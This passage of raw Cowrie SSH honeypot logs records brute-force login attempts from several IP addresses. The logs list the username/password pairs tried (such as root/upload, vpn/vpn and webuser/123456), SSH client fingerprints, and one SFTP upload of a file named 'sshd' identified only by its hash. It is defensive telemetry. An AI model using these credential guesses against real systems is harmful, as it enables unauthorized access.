","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:34.204400Z","src_ip":"162.243.147.237","session":"bf989da53f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"upload","message":"login attempt [root/upload] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:34.488738Z","src_ip":"162.243.147.237","session":"bf989da53f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:34.636920Z","src_ip":"43.163.119.215","session":"b9694c89f276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:35.554989Z","src_ip":"162.243.147.237","session":"bf989da53f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:35.878522Z","src_ip":"43.163.119.215","session":"b9694c89f276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36118,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b0c01da6e90","protocol":"ssh","message":"New connection: 43.163.119.215:36118 (10.17.0.5:22) [session: 7b0c01da6e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:39.129590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:39.134338Z","src_ip":"43.163.119.215","session":"7b0c01da6e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:39.372127Z","src_ip":"43.163.119.215","session":"7b0c01da6e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:40.085267Z","src_ip":"43.163.119.215","session":"7b0c01da6e90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":60964,"dst_ip":"159.203.135.109","dst_port":22,"session":"f749d8e6ded3","protocol":"ssh","message":"New connection: 43.153.46.75:60964 (159.203.135.109:22) [session: f749d8e6ded3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:40.423558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:40.428743Z","src_ip":"43.153.46.75","session":"f749d8e6ded3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:40.496842Z","src_ip":"43.153.46.75","session":"f749d8e6ded3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":38300,"dst_ip":"10.17.0.5","dst_port":22,"session":"53a15beb7bb8","protocol":"ssh","message":"New connection: 43.163.119.215:38300 (10.17.0.5:22) [session: 53a15beb7bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:40.684715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:40.689698Z","src_ip":"43.163.119.215","session":"53a15beb7bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ftpaccess","message":"login attempt [root/ftpaccess] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:40.801632Z","src_ip":"43.153.46.75","session":"f749d8e6ded3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:40.930095Z","src_ip":"43.163.119.215","session":"53a15beb7bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:41.339720Z","src_ip":"43.163.119.215","session":"7b0c01da6e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:41.642952Z","src_ip":"43.163.119.215","session":"53a15beb7bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:41.872334Z","src_ip":"43.153.46.75","session":"f749d8e6ded3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:42.882619Z","src_ip":"43.163.119.215","session":"53a15beb7bb8","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/d92f51db8b2df9ebac3c18e3691eddf473e8064742d46987077d72e570e74b6b","shasum":"d92f51db8b2df9ebac3c18e3691eddf473e8064742d46987077d72e570e74b6b","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/d92f51db8b2df9ebac3c18e3691eddf473e8064742d46987077d72e570e74b6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:43.642709Z","src_ip":"114.217.53.0","session":"be0366555a6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.0","message":"Connection lost after 301.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:43.646378Z","src_ip":"114.217.53.0","session":"be0366555a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36134,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e708b981c1","protocol":"ssh","message":"New connection: 43.163.119.215:36134 (10.17.0.5:22) [session: 50e708b981c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:49.581234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:49.585674Z","src_ip":"43.163.119.215","session":"50e708b981c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:49.822829Z","src_ip":"43.163.119.215","session":"50e708b981c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59612,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc71d5c79088","protocol":"ssh","message":"New connection: 43.163.119.215:59612 (10.17.0.5:22) [session: cc71d5c79088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:50.002718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:50.007381Z","src_ip":"43.163.119.215","session":"cc71d5c79088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57700,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bff274f2962","protocol":"ssh","message":"New connection: 103.75.199.4:57700 (159.203.135.109:22) [session: 4bff274f2962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:50.205730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:50.209533Z","src_ip":"103.75.199.4","session":"4bff274f2962","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:50.253959Z","src_ip":"43.163.119.215","session":"cc71d5c79088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:50.300669Z","src_ip":"103.75.199.4","session":"4bff274f2962","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:50.544070Z","src_ip":"43.163.119.215","session":"50e708b981c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:50.575300Z","src_ip":"103.75.199.4","session":"4bff274f2962","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:50.990279Z","src_ip":"43.163.119.215","session":"cc71d5c79088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:51.668594Z","src_ip":"103.75.199.4","session":"4bff274f2962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:51.785282Z","src_ip":"43.163.119.215","session":"50e708b981c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:57:52.238389Z","src_ip":"43.163.119.215","session":"cc71d5c79088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":57626,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa46efd8b6c3","protocol":"ssh","message":"New connection: 80.94.92.182:57626 (10.17.0.5:22) [session: aa46efd8b6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:03.600706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:03.774683Z","src_ip":"80.94.92.182","session":"aa46efd8b6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:03.778874Z","src_ip":"80.94.92.182","session":"aa46efd8b6c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"!@#$%^","message":"login attempt [solana/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:04.302943Z","src_ip":"80.94.92.182","session":"aa46efd8b6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:05.851018Z","src_ip":"80.94.92.182","session":"aa46efd8b6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36910,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc3ea2ada255","protocol":"ssh","message":"New connection: 43.163.119.215:36910 (10.17.0.5:22) [session: bc3ea2ada255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:06.422077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:06.426845Z","src_ip":"43.163.119.215","session":"bc3ea2ada255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36900,"dst_ip":"10.17.0.5","dst_port":22,"session":"a23ee8ebea8b","protocol":"ssh","message":"New connection: 43.163.119.215:36900 (10.17.0.5:22) [session: a23ee8ebea8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:06.672724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:06.678293Z","src_ip":"43.163.119.215","session":"a23ee8ebea8b","protocol":"ssh"}
